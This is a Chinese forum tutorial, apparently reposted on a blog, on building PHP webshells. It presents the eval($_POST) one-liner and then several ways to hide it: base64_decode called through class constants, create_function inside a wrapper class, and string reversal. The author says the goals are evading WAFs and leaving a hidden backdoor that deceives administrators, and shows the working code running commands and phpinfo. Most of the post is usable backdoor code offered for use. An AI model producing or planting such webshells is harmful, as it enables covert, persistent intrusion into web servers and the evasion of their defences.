php 热门方向,精华篇之webshell在php方向的研究

本帖最后由 xoanHn 于 2017-11-6 11:02 编辑

精华篇webshell在php方向的研究·不要错过篇

本文原创作者:原名xoanHn),个人站点:www.laimooc.cn。

本文属i春秋原创奖励计划,未经许可禁止转载

文章主旨:准备学习c语言,你喜欢的所有干货在文末附件里

作者宗旨:没有不想当将军的兵,没有不想提高技术的person,今天带你打开php的研究之路。

前几篇帖子:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

timg.jpg (151.99 KB, 下载次数: 48)

2017-11-5 18:17 上传

本来打算写一个综合性的PHP脚本文件(修改文件内容、复制文件、删除文件、创建文件、目录遍历等;执行系统命令;文件的上传;文件内容的加解密或者编解码;增删改查数据库;劫持登陆表单等一些操作)。发现这个需要花费很多的时间来调试,况且这些模块的分割拆解网上已经有了一些,所以,就到此为止。

本次发表文章,主要是围绕:类的封装、构造函数以及perl-Class常量的使用、编码解码等,来与常规的结合,进行制作webshell。

最基础的webshell,莫过于:

[AppleScript] 纯文本查看 复制代码【php eval($_POST[‘0’]);】,或者还有最短的吧

【eval($_POST[1]);】

那么我研究的初衷:1、是因为最短的一句话,会被很多的waf等直接拦截2、我想留下比较隐蔽并且容易忽悠管理员的后门3、我想锻炼一下自己的php掌握与使用能力4、为了给我们的开发团队督导一下安全编程思想。

最基础的类 :

[AppleScript] 纯文本查看 复制代码Class classname

{

}

深入一点那么就是如下:

[AppleScript] 纯文本查看 复制代码Class classname

{

Function operation(){ }

}

实例化:

$a = new classname();

$a -> operation();

嗯,是的就是如此,很常见的类。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

timg.jpg (116.25 KB, 下载次数: 58)

2017-11-5 18:19 上传

看看perl-class呢:

[AppleScript] 纯文本查看 复制代码class math{

const pi = 3.14159;

}

echo math::pi. "\n";

就是上面如此,::操作符来访问perl-clas常量。我们调试一下perl-class试试看:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image001.png (28.93 KB, 下载次数: 75)

2017-11-5 17:10 上传

神奇吧,我也这么觉得,php真的很让我开心Ilove her !

那么我们现在用perlclass,来做一个webshell试试看呗:

[AppleScript] 纯文本查看 复制代码<?php

error_reporting(0);

//perl-Class 思想

class math{

const pi = 3.14159;

}

echo "Math::pi=" .math::pi. "\n";

const pi 这是我们的perl-class常量,在class中声明,然后类外::操作符进行常量引用。那么我们先修改pi为base64_decode,你感觉会实现吗,会不会因为是字符串然后error呢,不用怕,走起来看看吧,咱们有万能的echo:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image003.png (30.31 KB, 下载次数: 71)

2017-11-5 17:10 上传

使用试试看,其实学习吧,就是不要拘束,我的引路人给了很大的鼓励,是我的榜样:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image005.png (30.74 KB, 下载次数: 70)

2017-11-5 17:10 上传

在使用这个编码的时候,我心里在想也可以使用url编码、者rot13编码、反转、字符串拼接、字符串的拆分利用(如:explode)、字符串的查找替换(如:substr)、quoted-printable字符串转换利用等等,更多的请参考:http://php.net/ref.strings如下,自己在这块调试的一个一句话:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

perl.png (45.13 KB, 下载次数: 46)

2017-11-6 11:54 上传

下面我们来讲解一下,类的封装来制作一句话:

先来一个成品如下图示,点击我,显示源码:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image007.png (132.87 KB, 下载次数: 58)

2017-11-5 17:10 上传

对不起,再点击,也显示不了源码。

前面我们说过了类的原型,那么下面我们试试:

[AppleScript] 纯文本查看 复制代码class a{

function create_fun($data)

{

$post= create_function('', $data);

$post();

}

}

我们外部类,内部调用了动态创建函数,来为下一步的webshell做铺垫,然后我们来实例化吧:

$a = new a();

这句就是实例化,简答吧,要记住了new 来实例化的,那么我们下面来引用,前面我们在类的内部定义了一个create_fun ,我们在这里使用它即可,如下,

$a ->create_fun($shell);

那么到这里了,是不是还少个东西,看出来了大伙,参数噻,下面我们简单的定义参数呗:直接一句话,哈哈,简单暴力。

$shell ="eval($_POST[c]);";

那么现在整理就完成了,类的封装来实现一句话的,测试看看:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image009.png (45.73 KB, 下载次数: 47)

2017-11-5 17:10 上传

执行命令是可以的。就是这样吧。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image011.png (83.14 KB, 下载次数: 47)

2017-11-5 17:10 上传

可以看到我们的phpinfo() 也是可以的。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image013.gif (935.71 KB, 下载次数: 80)

2017-11-5 17:10 上传

最后,说一说,如何结合构造函数来生成一句话的,其实如果善于调试的话,我们的研究到这里应该已经结束了。

但是为了多讲几句,我还是留下了,先演示一下,如何反转字符串,这点让我感觉php神奇的一匹马:

[AppleScript] 纯文本查看 复制代码function reverse_chr($str){

for($i=1;$i<=strlen($str);$i++){

$strr= substr($str,-$i,1);

echo $strr;

}

return;

}

这段足够代码实现,哈哈哈,其实还可以更见简短一些一个单词的事情:strrev ,这个函数你别看小,它的威力很强大,自行联想。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image014.gif (455.87 KB, 下载次数: 101)

2017-11-5 17:10 上传

这个反转函数,怎么用,一句话:慢慢来,多使用,大佬们传授的经验。授之以鱼,不如授之以渔。你们长大了,成功了,分我们一碗汤喝就可以。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image015.png (27.61 KB, 下载次数: 45)

2017-11-5 17:10 上传

好了吧,不扯了,颈椎痛,大家平时要注意锻炼身体。

下面这张图,我敢保证,让你感到惊喜又兴奋!

8f3ff2fbfdd7c7c8339951a6542705fa.gif

image017.png (45.45 KB, 下载次数: 56)

2017-11-5 17:10 上传

最后一次对php在webshell方面的研究到此结束。准备去学习c语言了。

所有的附件我会打包,不再隐藏,表哥表姐们回复一下,举手之劳,thank you very much。

aaa.jpg

fee66f979b5055a8ac528ddbc4edaeca.gif

pack.zip

(1.36 KB, 下载次数: 56)

2017-11-5 17:11 上传

点击文件名下载附件

下载积分: 魔法币 -5

8f3ff2fbfdd7c7c8339951a6542705fa.gif

timg.jpg (530.27 KB, 下载次数: 50)

2017-11-5 18:20 上传

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值